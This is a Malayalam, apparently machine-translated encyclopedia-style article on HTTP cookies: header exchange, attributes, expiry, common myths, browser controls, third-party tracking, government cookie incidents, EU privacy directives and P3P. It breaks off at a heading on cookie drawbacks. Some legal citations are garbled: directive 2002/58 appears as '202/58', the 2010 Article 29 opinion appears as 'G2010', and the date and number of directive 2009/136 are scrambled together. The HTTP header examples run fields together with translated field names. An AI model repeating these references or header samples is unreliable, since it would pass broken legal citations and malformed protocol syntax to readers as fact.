അഭ്യർത്ഥിച്ച പേജ് അയച്ചുകൊണ്ട് സെർവർ പ്രതികരിക്കുന്നു, അതിന് മുമ്പായി സമാനമായ ഒരു വാചകം, മുഴുവൻ വിളിക്കപ്പെടുന്നു HTTP പ്രതികരണം. ഈ പാക്കറ്റിൽ കുക്കികൾ സംഭരിക്കുന്നതിന് ബ്രൗസറിന് നിർദ്ദേശം നൽകുന്ന വരികൾ അടങ്ങിയിരിക്കാം:

	HTTP/1.1 200 OKഉള്ളടക്ക തരം: വാചകം/htmlSet-Cookie: name=value (HTML പേജ്)
നാവിഗേറ്റർ	←	സെർവർ

ബ്രൗസർ ഒരു കുക്കി സംഭരിക്കാൻ സെർവർ ആഗ്രഹിക്കുന്നുവെങ്കിൽ മാത്രമേ സെർവർ സെറ്റ്-കുക്കി ലൈൻ അയയ്‌ക്കൂ. സെറ്റ്-കുക്കി എന്നത് ബ്രൗസറിനുള്ള പേര്=മൂല്യം സ്ട്രിംഗ് സംഭരിക്കാനും ഭാവിയിലെ എല്ലാ അഭ്യർത്ഥനകളിലും സെർവറിലേക്ക് തിരികെ നൽകാനുമുള്ള അഭ്യർത്ഥനയാണ്. ബ്രൗസർ കുക്കികളെ പിന്തുണയ്‌ക്കുകയും ബ്രൗസർ ഓപ്‌ഷനുകളിൽ കുക്കികൾ പ്രവർത്തനക്ഷമമാക്കുകയും ചെയ്‌താൽ, അതേ സെർവറിലേക്ക് നടത്തിയ എല്ലാ തുടർന്നുള്ള അഭ്യർത്ഥനകളിലും കുക്കി ഉൾപ്പെടുത്തും. ഉദാഹരണത്തിന്, www.example.org എന്ന സെർവറിലേക്ക് ഇനിപ്പറയുന്ന അഭ്യർത്ഥന അയച്ചുകൊണ്ട് ബ്രൗസർ പേജിനെ www.example.org/news.html എന്ന് വിളിക്കുന്നു:

	GET /news.html HTTP/1.1Host: www.example.orgCookie: name=valueAccept: */*
നാവിഗേറ്റർ	→	സെർവർ

ഇത് അതേ സെർവറിൽ നിന്നുള്ള മറ്റൊരു പേജിനായുള്ള അഭ്യർത്ഥനയാണ്, കൂടാതെ സെർവർ മുമ്പ് ബ്രൗസറിലേക്ക് അയച്ച ഒരു സ്ട്രിംഗ് അടങ്ങിയിരിക്കുന്നതിനാൽ മുകളിലുള്ളതിൽ നിന്ന് വ്യത്യസ്തമാണ്. ഇതിന് നന്ദി, ഈ അഭ്യർത്ഥന മുമ്പത്തേതിലേക്ക് ലിങ്ക് ചെയ്തിട്ടുണ്ടെന്ന് സെർവറിന് അറിയാം. വിളിക്കുന്ന പേജ് അയച്ചുകൊണ്ടും അതിലേക്ക് മറ്റ് കുക്കികൾ ചേർത്തും സെർവർ പ്രതികരിക്കുന്നു.

വിളിക്കുന്ന പേജിന് മറുപടിയായി സെറ്റ്-കുക്കി: name=new_value എന്ന പുതിയ വരി അയച്ചുകൊണ്ട് സെർവറിന് കുക്കിയുടെ മൂല്യം മാറ്റാനാകും. ബ്രൗസർ പിന്നീട് പഴയ മൂല്യത്തെ പുതിയത് ഉപയോഗിച്ച് മാറ്റിസ്ഥാപിക്കുന്നു.

സെറ്റ്-കുക്കി ലൈൻ സാധാരണയായി ഒരു CGI പ്രോഗ്രാമോ മറ്റ് സ്ക്രിപ്റ്റിംഗ് ഭാഷയോ ആണ് സൃഷ്ടിക്കുന്നത്, HTTP സെർവർ അല്ല. HTTP സെർവർ (ഉദാഹരണം: Apache) പ്രോഗ്രാമിന്റെ ഫലം (കുക്കികൾ അടങ്ങിയ ഹെഡറിന് മുമ്പുള്ള ഒരു പ്രമാണം) മാത്രമേ ബ്രൗസറിലേക്ക് കൈമാറുകയുള്ളൂ.

ബ്രൗസറിൽ പ്രവർത്തിക്കുന്ന ജാവാസ്ക്രിപ്റ്റ് അല്ലെങ്കിൽ മറ്റ് സമാന ഭാഷകൾ ഉപയോഗിച്ചും കുക്കികൾ സജ്ജമാക്കാൻ കഴിയും, അതായത് സെർവർ വശത്തേക്കാൾ ക്ലയന്റ് വശത്ത്. JavaScript-ൽ, document.cookie ഒബ്ജക്റ്റ് ഇതിനായി ഉപയോഗിക്കുന്നു. ഉദാഹരണത്തിന്, document.cookie = "താപനില = 20" എന്ന പ്രസ്താവന "താപനില" എന്ന പേരിലും 20 മൂല്യമുള്ള ഒരു കുക്കി സൃഷ്ടിക്കുന്നു.

ഒരു കുക്കിയുടെ ആട്രിബ്യൂട്ടുകൾ

പേര്/മൂല്യം ജോഡിക്ക് പുറമേ, ഒരു കുക്കിയിൽ ഒരു കാലഹരണ തീയതി, ഒരു പാത, ഒരു ഡൊമെയ്ൻ നാമം, ഉദ്ദേശിക്കുന്ന കണക്ഷൻ തരം, അതായത് സാധാരണ അല്ലെങ്കിൽ എൻക്രിപ്റ്റ് എന്നിവയും അടങ്ങിയിരിക്കാം. കുക്കികൾക്ക് നിർബന്ധിത പതിപ്പ് നമ്പർ ഉണ്ടായിരിക്കണമെന്ന് RFC 2965 നിർവചിക്കുന്നു, എന്നാൽ ഇത് സാധാരണയായി ഒഴിവാക്കിയിരിക്കുന്നു. ഈ ഡാറ്റ ഭാഗങ്ങൾ പേര്=new_value ജോഡി പിന്തുടരുന്നു, അവ അർദ്ധവിരാമങ്ങളാൽ വേർതിരിക്കപ്പെടുന്നു. ഉദാഹരണത്തിന്, ഒരു സെറ്റ്-കുക്കി ലൈൻ അയച്ചുകൊണ്ട് സെർവറിന് ഒരു കുക്കി സൃഷ്ടിക്കാൻ കഴിയും: name=new_value; കാലഹരണപ്പെടുന്നു=തീയതി; പാത=/; domain=.example.org.

ഒരു കുക്കിയുടെ കാലഹരണപ്പെടൽ

കുക്കികൾ കാലഹരണപ്പെടുന്നു, തുടർന്ന് ഇനിപ്പറയുന്ന സാഹചര്യങ്ങളിൽ ബ്രൗസർ സെർവറിലേക്ക് അയയ്ക്കില്ല:

• ബ്രൗസർ അടച്ചിരിക്കുമ്പോൾ, കുക്കി സ്ഥിരമല്ലെങ്കിൽ.
• കുക്കി കാലഹരണപ്പെടൽ തീയതി കഴിഞ്ഞപ്പോൾ.
• കുക്കി കാലഹരണപ്പെടൽ തീയതി (സെർവർ അല്ലെങ്കിൽ സ്ക്രിപ്റ്റ് വഴി) കഴിഞ്ഞ ഒരു തീയതിയിലേക്ക് മാറ്റുമ്പോൾ.
• ഉപയോക്താവിന്റെ അഭ്യർത്ഥന പ്രകാരം ബ്രൗസർ കുക്കി ഇല്ലാതാക്കുമ്പോൾ.

മൂന്നാമത്തെ സാഹചര്യം ഒരു കുക്കിയെ വ്യക്തമായി ഇല്ലാതാക്കാൻ സെർവറുകളെയോ സ്ക്രിപ്റ്റുകളെയോ അനുവദിക്കുന്നു. ഉള്ളടക്ക ക്രമീകരണങ്ങൾ ആക്‌സസ് ചെയ്യുന്നതിലൂടെ ഒരു പ്രത്യേക കുക്കിയുടെ കാലഹരണ തീയതി അറിയാൻ Google Chrome വെബ് ബ്രൗസർ ഉപയോഗിച്ച് സാധ്യമാണ് എന്നത് ശ്രദ്ധിക്കുക. ഒരു കമ്പ്യൂട്ടറിൽ സംരക്ഷിച്ചിരിക്കുന്ന ഒരു കുക്കി, അത് മായ്‌ക്കാനുള്ള നടപടിക്രമങ്ങളൊന്നും എടുത്തില്ലെങ്കിൽ, അത് ദശാബ്ദങ്ങളോളം അവിടെത്തന്നെ നിലനിൽക്കും.

സ്റ്റീരിയോടൈപ്പുകൾ

ഇന്റർനെറ്റിൽ അവ അവതരിപ്പിച്ചതുമുതൽ, കുക്കികളെക്കുറിച്ചുള്ള നിരവധി ആശയങ്ങൾ ഇന്റർനെറ്റിലും മാധ്യമങ്ങളിലും പ്രചരിച്ചു. 1998-ൽ, യുണൈറ്റഡ് സ്‌റ്റേറ്റ്‌സ് ഡിപ്പാർട്ട്‌മെന്റ് ഓഫ് എനർജി കമ്പ്യൂട്ടർ സംഭവ മോണിറ്ററിംഗ് ടീമായ CIAC, കുക്കി സുരക്ഷാ അപാകതകൾ "അടിസ്ഥാനപരമായി നിലവിലില്ല" എന്ന് നിർണ്ണയിക്കുകയും "നിങ്ങളുടെ സന്ദർശനങ്ങളുടെ ഉത്ഭവത്തെയും നിങ്ങൾ സന്ദർശിച്ച വെബ് പേജുകളുടെ വിശദാംശങ്ങളെയും കുറിച്ചുള്ള വിവരങ്ങളും" വിശദീകരിക്കുകയും ചെയ്തു. വെബ് സെർവറുകളുടെ ലോഗ് ഫയലുകളിൽ ഇതിനകം നിലവിലുണ്ട്. 2005-ൽ, ജൂപ്പിറ്റർ റിസർച്ച് ഒരു പഠനത്തിന്റെ ഫലങ്ങൾ പ്രസിദ്ധീകരിച്ചു, അതിൽ പ്രതികരിച്ചവരിൽ ഗണ്യമായ ശതമാനം ഇനിപ്പറയുന്ന പ്രസ്താവനകൾ പരിഗണിച്ചു:

• കുക്കികൾ ഇതുപോലെയാണ് വൈറസ്, അവ ഉപയോക്താക്കളുടെ ഹാർഡ് ഡ്രൈവുകളെ ബാധിക്കുന്നു.
• കുക്കികൾ സൃഷ്ടിക്കുന്നു പൊന്തിവരിക.
• കുക്കികൾ അയയ്ക്കാൻ ഉപയോഗിക്കുന്നു സ്പാം.
• പരസ്യത്തിനായി മാത്രമാണ് കുക്കികൾ ഉപയോഗിക്കുന്നത്.

കുക്കികൾക്ക് ഉപയോക്താവിന്റെ കമ്പ്യൂട്ടറിൽ നിന്ന് വിവരങ്ങൾ മായ്‌ക്കാനോ വായിക്കാനോ കഴിയില്ല. എന്നിരുന്നാലും, നൽകിയിരിക്കുന്ന സൈറ്റിലോ സൈറ്റുകളുടെ ഒരു കൂട്ടത്തിലോ ഒരു ഉപയോക്താവ് സന്ദർശിച്ച വെബ് പേജുകൾ കണ്ടെത്തുന്നത് കുക്കികൾ സാധ്യമാക്കുന്നു. ഈ വിവരങ്ങൾ ഒരു ഉപയോക്തൃ പ്രൊഫൈലിൽ ശേഖരിക്കാം, അത് മൂന്നാം കക്ഷികൾക്ക് ഉപയോഗിക്കാനോ വീണ്ടും വിൽക്കാനോ കഴിയും, അത് ഗുരുതരമായ സ്വകാര്യത പ്രശ്‌നങ്ങൾ സൃഷ്ടിക്കും. ചില പ്രൊഫൈലുകൾ അജ്ഞാതമാണ്, അവയിൽ വ്യക്തിഗത വിവരങ്ങളൊന്നും അടങ്ങിയിട്ടില്ല, എന്നിട്ടും അത്തരം പ്രൊഫൈലുകൾ പോലും സംശയാസ്പദമായേക്കാം.

ഇതേ പഠനമനുസരിച്ച്, ഇന്റർനെറ്റ് ഉപയോക്താക്കളിൽ വലിയൊരു ശതമാനം കുക്കികൾ എങ്ങനെ ഇല്ലാതാക്കണമെന്ന് അറിയില്ല. ആളുകൾ കുക്കികളെ വിശ്വസിക്കാത്തതിന്റെ ഒരു കാരണം, ചില സൈറ്റുകൾ കുക്കികളുടെ വ്യക്തിപരമായി തിരിച്ചറിയുന്ന വശം ദുരുപയോഗം ചെയ്യുകയും മറ്റ് ഉറവിടങ്ങളുമായി ഈ വിവരങ്ങൾ പങ്കിടുകയും ചെയ്‌തു എന്നതാണ്. ടാർഗെറ്റുചെയ്‌ത പരസ്യങ്ങളുടെയും ആവശ്യപ്പെടാത്ത ഇമെയിലുകളുടെയും വലിയൊരു ശതമാനം, സ്‌പാമായി കണക്കാക്കുന്നത്, ട്രാക്കിംഗ് കുക്കികളിൽ നിന്ന് ശേഖരിച്ച വിവരങ്ങളിൽ നിന്നാണ്.

ബ്രൗസർ ക്രമീകരണങ്ങൾ

മിക്ക ബ്രൗസറുകളും കുക്കികളെ പിന്തുണയ്ക്കുകയും അവ പ്രവർത്തനരഹിതമാക്കാൻ ഉപയോക്താവിനെ അനുവദിക്കുകയും ചെയ്യുന്നു. ഏറ്റവും സാധാരണമായ ഓപ്ഷനുകൾ ഇവയാണ്:

• കുക്കികൾ പൂർണ്ണമായി പ്രവർത്തനക്ഷമമാക്കുകയോ പ്രവർത്തനരഹിതമാക്കുകയോ ചെയ്യുക, അതുവഴി അവ നിരന്തരം സ്വീകരിക്കപ്പെടുകയോ തടയുകയോ ചെയ്യുന്നു.
• ബ്രൗസറിന്റെ വിലാസ ബാറിൽ javascript: alert(document.cookie) നൽകി, തന്നിരിക്കുന്ന പേജിൽ സജീവമായ കുക്കികൾ കാണാൻ ഉപയോക്താവിനെ അനുവദിക്കുക. നിലവിൽ ബ്രൗസർ സംഭരിച്ചിരിക്കുന്ന കുക്കികൾ കാണാനും തിരഞ്ഞെടുത്ത് ഇല്ലാതാക്കാനും കഴിയുന്ന ഉപയോക്താവിനായി ചില ബ്രൗസറുകൾ ഒരു കുക്കി മാനേജർ സംയോജിപ്പിക്കുന്നു.

മിക്ക ബ്രൗസറുകളും കുക്കികൾ ഉൾപ്പെടുന്ന വ്യക്തിഗത ഡാറ്റ പൂർണ്ണമായി ഇല്ലാതാക്കാൻ അനുവദിക്കുന്നു. കുക്കി അനുമതികൾ നിയന്ത്രിക്കുന്നതിനുള്ള അധിക മൊഡ്യൂളുകളും നിലവിലുണ്ട്.

സ്വകാര്യതയും മൂന്നാം കക്ഷി കുക്കികളും

ഈ സാങ്കൽപ്പിക ഉദാഹരണത്തിൽ, ഒരു പരസ്യ കമ്പനി രണ്ട് വെബ്‌സൈറ്റുകളിൽ ബാനറുകൾ സ്ഥാപിച്ചു. ബാനറുകൾ അതിന്റെ സെർവറുകളിൽ ഹോസ്റ്റുചെയ്യുന്നതിലൂടെയും മൂന്നാം കക്ഷി കുക്കികൾ ഉപയോഗിക്കുന്നതിലൂടെയും, ഈ രണ്ട് സൈറ്റുകളിലൂടെ ഉപയോക്താവിന്റെ നാവിഗേഷൻ ട്രാക്ക് ചെയ്യാൻ പരസ്യ കമ്പനിക്ക് കഴിയും.

വെബ് ഉപയോക്താക്കളുടെ സ്വകാര്യതയ്ക്കും അജ്ഞാതതയ്ക്കും കുക്കികൾക്ക് സുപ്രധാനമായ പ്രത്യാഘാതങ്ങളുണ്ട്. കുക്കികൾ സജ്ജീകരിക്കുന്ന സെർവറിലേക്കോ അതേ ഇന്റർനെറ്റ് ഡൊമെയ്‌നിലുള്ള സെർവറിലേക്കോ മാത്രമേ തിരികെ അയയ്‌ക്കൂവെങ്കിലും, ഒരു വെബ് പേജിൽ മറ്റ് ഡൊമെയ്‌നുകളുടെ സെർവറുകളിൽ സംഭരിച്ചിരിക്കുന്ന ചിത്രങ്ങളോ മറ്റ് ഘടകങ്ങളോ അടങ്ങിയിരിക്കാം. ഈ ബാഹ്യ ഘടകങ്ങളുടെ വീണ്ടെടുക്കൽ സമയത്ത് സജ്ജീകരിച്ചിരിക്കുന്ന കുക്കികളെ വിളിക്കുന്നു മൂന്നാം കക്ഷി കുക്കികൾ. അനാവശ്യ പോപ്പ്-അപ്പ് വിൻഡോകളിൽ നിന്നുള്ള കുക്കികൾ ഇതിൽ ഉൾപ്പെടുന്നു.

ഉപയോക്താക്കളെ അവർ സന്ദർശിക്കുന്ന വ്യത്യസ്‌ത സൈറ്റുകളിൽ ട്രാക്ക് ചെയ്യാൻ പരസ്യ കമ്പനികൾ മൂന്നാം കക്ഷി കുക്കികൾ ഉപയോഗിക്കുന്നു. പ്രത്യേകിച്ചും, ഒരു പരസ്യ കമ്പനിക്ക് പരസ്യ ചിത്രങ്ങളോ ട്രാക്കിംഗ് പിക്സലോ സ്ഥാപിച്ചിട്ടുള്ള എല്ലാ പേജുകളിലും ഒരു ഉപയോക്താവിനെ ട്രാക്ക് ചെയ്യാൻ കഴിയും. ഉപയോക്താവ് സന്ദർശിക്കുന്ന പേജുകളെക്കുറിച്ചുള്ള അറിവ്, ഉപയോക്താവിന്റെ പരസ്യ മുൻഗണനകളെ ടാർഗെറ്റുചെയ്യാൻ പരസ്യ കമ്പനിയെ അനുവദിക്കുന്നു.

ഒരു ഉപയോക്തൃ പ്രൊഫൈൽ നിർമ്മിക്കാനുള്ള കഴിവ് ചിലർ ഒരു സ്വകാര്യത അധിനിവേശമായി കണക്കാക്കുന്നു, പ്രത്യേകിച്ചും മൂന്നാം കക്ഷി കുക്കികൾ ഉപയോഗിച്ച് വിവിധ ഡൊമെയ്‌നുകളിൽ ട്രാക്കിംഗ് നടത്തുമ്പോൾ. ഇക്കാരണത്താൽ, ചില രാജ്യങ്ങളിൽ കുക്കി നിയമനിർമ്മാണം ഉണ്ട്.

ഓൺലൈൻ മയക്കുമരുന്ന് പരസ്യങ്ങൾ കാണുന്ന ഉപയോക്താക്കളുടെ കമ്പ്യൂട്ടറുകൾ ട്രാക്ക് ചെയ്യാൻ വൈറ്റ് ഹൗസ് ഡ്രഗ് പോളിസി ഓഫീസ് കുക്കികൾ ഉപയോഗിക്കുന്നുണ്ടെന്ന് വെളിപ്പെടുത്തിയതിന് ശേഷം 2000-ൽ യുണൈറ്റഡ് സ്റ്റേറ്റ്സ് സർക്കാർ കുക്കികൾ സ്ഥാപിക്കുന്നതിന് കർശനമായ നിയമങ്ങൾ നടപ്പാക്കി. 2002-ൽ, സ്വകാര്യതാ പ്രവർത്തകനായ ഡാനിയൽ ബ്രാൻഡ്, CIA അതിന്റെ വെബ്‌സൈറ്റുകൾ സന്ദർശിച്ച കമ്പ്യൂട്ടറുകളിൽ സ്ഥിരമായ കുക്കികൾ അവശേഷിപ്പിച്ചതായി കണ്ടെത്തി. ഈ ലംഘനത്തെക്കുറിച്ച് ഒരിക്കൽ അറിയിച്ചപ്പോൾ, ഈ കുക്കികൾ മനഃപൂർവ്വം അയച്ചതല്ലെന്ന് CIA പ്രഖ്യാപിക്കുകയും അവ സജ്ജീകരിക്കുന്നത് അവസാനിപ്പിക്കുകയും ചെയ്തു. 25 ഡിസംബർ 2005-ന്, ഒരു സോഫ്‌റ്റ്‌വെയർ അപ്‌ഡേറ്റ് കാരണം നാഷണൽ സെക്യൂരിറ്റി ഏജൻസി (NSA) രണ്ട് സ്ഥിരമായ കുക്കികൾ സന്ദർശകരുടെ കമ്പ്യൂട്ടറുകളിൽ ഉപേക്ഷിച്ചതായി ബ്രാൻഡ് കണ്ടെത്തി. അറിയിപ്പ് ലഭിച്ചതിന് ശേഷം, NSA ഉടൻ തന്നെ കുക്കികൾ പ്രവർത്തനരഹിതമാക്കി.

യുണൈറ്റഡ് കിംഗ്ഡത്തിൽ, ദി കുക്കി നിയമം “, 25 മെയ് 2012-ന് പ്രാബല്യത്തിൽ വന്ന, സൈറ്റുകളെ അവരുടെ ഉദ്ദേശ്യങ്ങൾ പ്രഖ്യാപിക്കാൻ ബാധ്യസ്ഥരാക്കുന്നു, അങ്ങനെ ഉപയോക്താക്കൾക്ക് ഇന്റർനെറ്റിൽ അവരുടെ പാസായതിന്റെ ട്രെയ്‌സ് ഇടണോ വേണ്ടയോ എന്ന് തിരഞ്ഞെടുക്കാൻ അനുവദിക്കുന്നു. അങ്ങനെ അവരെ പരസ്യ ലക്ഷ്യങ്ങളിൽ നിന്ന് സംരക്ഷിക്കാൻ കഴിയും. എന്നിരുന്നാലും, ഇതനുസരിച്ച് രക്ഷാധികാരി, ഇന്റർനെറ്റ് ഉപയോക്താക്കളുടെ സമ്മതം വ്യക്തമായിരിക്കണമെന്നില്ല; ഉപയോക്തൃ സമ്മതത്തിന്റെ നിബന്ധനകളിൽ മാറ്റങ്ങൾ വരുത്തി ഇപ്രകാരം സൂചിപ്പിച്ചു.

സ്വകാര്യത സംബന്ധിച്ച 2002/58 നിർദ്ദേശം

നിർദ്ദേശം 202/58 സ്വകാര്യതയും ഇലക്ട്രോണിക് ആശയവിനിമയങ്ങളും, കുക്കികളുടെ ഉപയോഗത്തെക്കുറിച്ചുള്ള നിയമങ്ങൾ ഉൾക്കൊള്ളുന്നു. പ്രത്യേകിച്ചും, ഈ നിർദ്ദേശത്തിന്റെ ആർട്ടിക്കിൾ 5, ഖണ്ഡിക 3, ഉപയോക്താവിന്റെ കമ്പ്യൂട്ടറിലെ ഡാറ്റയുടെ (കുക്കികൾ പോലുള്ളവ) സംഭരണം ഇനിപ്പറയുന്നവയാണെങ്കിൽ മാത്രമേ ചെയ്യാൻ കഴിയൂ:

• ഡാറ്റ എങ്ങനെയാണ് ഉപയോഗിക്കുന്നതെന്ന് ഉപയോക്താവിനെ അറിയിക്കുന്നു;
• ഈ സംഭരണ ​​പ്രവർത്തനം നിരസിക്കാനുള്ള ഓപ്ഷൻ ഉപയോക്താവിന് നൽകിയിരിക്കുന്നു. എന്നിരുന്നാലും, സാങ്കേതിക കാരണങ്ങളാൽ ഡാറ്റയുടെ സംഭരണത്തെ ഈ നിയമത്തിൽ നിന്ന് ഒഴിവാക്കിയിട്ടുണ്ടെന്നും ഈ ലേഖനം പറയുന്നു.

2003 ഒക്‌ടോബർ മുതൽ നടപ്പിലാക്കിയതിനാൽ, ഈ നിർദ്ദേശം 2004 ഡിസംബറിലെ ഒരു റിപ്പോർട്ട് അനുസരിച്ച് വളരെ അപൂർണ്ണമായി മാത്രമേ പ്രാവർത്തികമാക്കിയിട്ടുള്ളൂ, ചില അംഗരാജ്യങ്ങൾ (സ്ലൊവാക്യ, ലാത്വിയ, ഗ്രീസ്, ബെൽജിയം, ലക്‌സംബർഗ്) ഇതുവരെ കൈമാറ്റം ചെയ്തിട്ടില്ലെന്നും ചൂണ്ടിക്കാട്ടി. ആഭ്യന്തര നിയമത്തിലേക്കുള്ള നിർദ്ദേശം.

29-ലെ G2010-ന്റെ അഭിപ്രായമനുസരിച്ച്, ഇന്റർനെറ്റ് ഉപയോക്താവിന്റെ വ്യക്തമായ സമ്മതത്തോടെ, പെരുമാറ്റപരമായ പരസ്യ ആവശ്യങ്ങൾക്കായി കുക്കികളുടെ ഉപയോഗം പ്രത്യേകമായി വ്യവസ്ഥ ചെയ്യുന്ന ഈ നിർദ്ദേശം വളരെ മോശമായി പ്രയോഗിച്ചു. വാസ്തവത്തിൽ, "സാങ്കേതിക" കുക്കികൾക്കിടയിൽ വ്യത്യാസമില്ലാതെ, ഉപയോഗങ്ങളെക്കുറിച്ചുള്ള വിവരങ്ങൾ നൽകാതെ, "കുക്കികളുടെ" ഉപയോഗത്തെക്കുറിച്ച് അറിയിക്കുന്ന ലളിതമായ "ബാനറിൽ" സ്വയം പരിമിതപ്പെടുത്തിക്കൊണ്ട്, നിർദ്ദേശങ്ങൾ പാലിക്കാത്ത വിധത്തിലാണ് മിക്ക സൈറ്റുകളും അങ്ങനെ ചെയ്യുന്നത്. "ട്രാക്കിംഗ്" കുക്കികൾ, അല്ലെങ്കിൽ സാങ്കേതിക കുക്കികൾ (ഷോപ്പിംഗ് കാർട്ട് മാനേജ്മെന്റ് കുക്കികൾ പോലുള്ളവ) നിലനിർത്താനും "ട്രാക്കിംഗ്" കുക്കികൾ നിരസിക്കാനും ആഗ്രഹിക്കുന്ന ഉപയോക്താവിന് ഒരു യഥാർത്ഥ ചോയ്സ് വാഗ്ദാനം ചെയ്യരുത്. വാസ്തവത്തിൽ, കുക്കികൾ നിരസിച്ചാൽ, പല സൈറ്റുകളും ശരിയായി പ്രവർത്തിക്കില്ല, അത് നിർദ്ദേശം 2002/58 അല്ലെങ്കിൽ നിർദ്ദേശം 95/46 (വ്യക്തിഗത ഡാറ്റയുടെ സംരക്ഷണം) പാലിക്കുന്നില്ല.

നിർദ്ദേശം 2009/136/CE

2009 നവംബർ 136-ലെ ഡയറക്‌റ്റീവ് 25/2009/EC പ്രകാരം ഈ മെറ്റീരിയൽ അപ്‌ഡേറ്റ് ചെയ്‌തു, അതിൽ "വിവരങ്ങളുടെ സംഭരണം അല്ലെങ്കിൽ ഇതിനകം സംഭരിച്ചിരിക്കുന്ന വിവരങ്ങളിലേക്കുള്ള ആക്‌സസ്സ്, ഒരു വരിക്കാരന്റെയോ ഉപയോക്താവിന്റെയോ ടെർമിനൽ ഉപകരണങ്ങളിൽ അനുവദനീയമാണ് എന്ന വ്യവസ്ഥയിൽ മാത്രമേ അനുവദിക്കൂ. 95/46/EC ഡയറക്‌ടീവിന് അനുസൃതമായി, പ്രോസസ്സിംഗിന്റെ ഉദ്ദേശ്യങ്ങളെക്കുറിച്ച് മറ്റുള്ളവർക്കിടയിൽ വ്യക്തവും പൂർണ്ണവുമായ വിവരങ്ങൾ ലഭിച്ചതിന് ശേഷം വരിക്കാരനോ ഉപയോക്താവോ തന്റെ സമ്മതം നൽകി. അതിനാൽ പുതിയ നിർദ്ദേശം ഇന്റർനെറ്റ് ഉപയോക്താവിന്റെ കമ്പ്യൂട്ടറിൽ കുക്കികൾ സ്ഥാപിക്കുന്നതിന് മുമ്പുള്ള ബാധ്യതകൾ ശക്തിപ്പെടുത്തുന്നു.

നിർദ്ദേശത്തിന്റെ പ്രാഥമിക പരിഗണനകളിൽ, യൂറോപ്യൻ നിയമനിർമ്മാതാവ് വ്യക്തമാക്കുന്നു: "സാങ്കേതികമായി സാധ്യമായതും ഫലപ്രദവുമായ ഇടങ്ങളിൽ, നിർദ്ദേശം 95/46/EC യുടെ പ്രസക്തമായ വ്യവസ്ഥകൾക്ക് അനുസൃതമായി, പ്രോസസ്സിംഗുമായി ബന്ധപ്പെട്ട് ഉപയോക്താവിന്റെ സമ്മതം ഇതിലൂടെ പ്രകടിപ്പിക്കാവുന്നതാണ്. ഒരു ബ്രൗസറിന്റെയോ മറ്റ് ആപ്ലിക്കേഷന്റെയോ ഉചിതമായ ക്രമീകരണങ്ങളുടെ ഉപയോഗം". എന്നാൽ വാസ്തവത്തിൽ, ഇന്നുവരെ ഒരു ബ്രൗസറും ആവശ്യമായ സാങ്കേതിക കുക്കികളെ ഓപ്ഷണലുകളിൽ നിന്ന് വേർപെടുത്തുന്നത് സാധ്യമാക്കുന്നില്ല, അത് ഉപയോക്താവിന്റെ തിരഞ്ഞെടുപ്പിന് വിട്ടുകൊടുക്കണം.

2012 ജൂലൈയിൽ ബെൽജിയൻ എംപിമാർ ഈ പുതിയ നിർദ്ദേശം മാറ്റി. എംപിമാർ പോലും അപേക്ഷിക്കാൻ പാടുപെടുന്നതായി 2014 ലെ ഒരു പഠനം കാണിക്കുന്നു നിർദ്ദേശത്തിന്റെ നിയന്ത്രണങ്ങൾ.

P3P

P3P സ്പെസിഫിക്കേഷനിൽ ഒരു സെർവറിന് ഒരു സ്വകാര്യതാ നയം പ്രസ്താവിക്കാനുള്ള കഴിവ് ഉൾപ്പെടുന്നു, അത് ഏത് തരത്തിലുള്ള വിവരങ്ങളാണ് ശേഖരിക്കുന്നതെന്നും ഏത് ആവശ്യത്തിനാണെന്നും നിർവചിക്കുന്നു. ഈ നയങ്ങളിൽ കുക്കികൾ ഉപയോഗിച്ച് ശേഖരിക്കുന്ന വിവരങ്ങളുടെ ഉപയോഗം ഉൾപ്പെടുന്നു (എന്നാൽ അതിൽ മാത്രം പരിമിതപ്പെടുന്നില്ല). P3P യുടെ നിർവചനങ്ങൾ അനുസരിച്ച്, ഒരു ബ്രൗസറിന് കുക്കികൾ സ്വീകരിക്കാനോ നിരസിക്കാനോ കഴിയും, ഉപയോക്താവിന്റെ മുൻഗണനകളുമായി സ്വകാര്യതാ നയങ്ങൾ താരതമ്യം ചെയ്തുകൊണ്ടോ അല്ലെങ്കിൽ സെർവർ പ്രഖ്യാപിച്ച സ്വകാര്യതാ നയ സ്വകാര്യതാ പ്രസ്താവന അവതരിപ്പിച്ചുകൊണ്ട് ഉപയോക്താവിനോട് ചോദിച്ചുകൊണ്ടോ.

Apple Safari, Microsoft Internet Explorer പതിപ്പുകൾ 6, 7 എന്നിവയുൾപ്പെടെ നിരവധി ബ്രൗസറുകൾ, മൂന്നാം കക്ഷി കുക്കി സംഭരണം സ്വീകരിക്കണമോ എന്ന് നിർണ്ണയിക്കാൻ ബ്രൗസറിനെ അനുവദിക്കുന്ന P3P-യെ പിന്തുണയ്ക്കുന്നു. മൂന്നാം കക്ഷി കുക്കികൾ നിരസിക്കാനും ഇന്റർനെറ്റ് ഡൊമെയ്‌നുകൾക്കായി ആഗോളവും പ്രത്യേകവുമായ സുരക്ഷാ പ്രൊഫൈൽ സൃഷ്‌ടിക്കാനും Opera ബ്രൗസർ ഉപയോക്താക്കളെ അനുവദിക്കുന്നു. മോസില്ല ഫയർഫോക്സ് പതിപ്പ് 2 P3P പിന്തുണ ഉപേക്ഷിച്ചെങ്കിലും പതിപ്പ് 3 ൽ അത് പുനഃസ്ഥാപിച്ചു.

ഉപയോക്താവിന്റെ വെബ് അനുഭവത്തെ പ്രതികൂലമായി ബാധിക്കാതെ, സ്വകാര്യത വർദ്ധിപ്പിക്കുന്നതിനും പരസ്യ ട്രാക്കിംഗ് കുറയ്ക്കുന്നതിനുമായി മിക്ക ബ്രൗസറുകൾക്കും മൂന്നാം കക്ഷി കുക്കികൾ ബ്ലോക്ക് ചെയ്യാൻ കഴിയും. പല പരസ്യ ഏജൻസികളും ഒരു ഓപ്ഷൻ വാഗ്ദാനം ചെയ്യുന്നു വേണ്ടെന്ന് വയ്ക്കുക ടാർഗെറ്റുചെയ്‌ത പരസ്യത്തിലേക്ക്, ഈ ടാർഗെറ്റുചെയ്യൽ നിർജ്ജീവമാക്കുന്ന ഒരു സാധാരണ കുക്കി ബ്രൗസറിൽ സജ്ജീകരിക്കുന്നതിലൂടെ, പക്ഷേ അത്തരമൊരു പരിഹാരം പ്രായോഗികമായി ഫലപ്രദമല്ല, അത് മാനിക്കപ്പെടുമ്പോൾ, കാരണം ഈ ജനറിക് കുക്കി ഉപയോക്താവ് ഈ കുക്കികൾ ഇല്ലാതാക്കിയാലുടൻ ഇല്ലാതാക്കപ്പെടും. ഔട്ട് തീരുമാനം.

കുക്കികളുടെ പോരായ്മകൾ

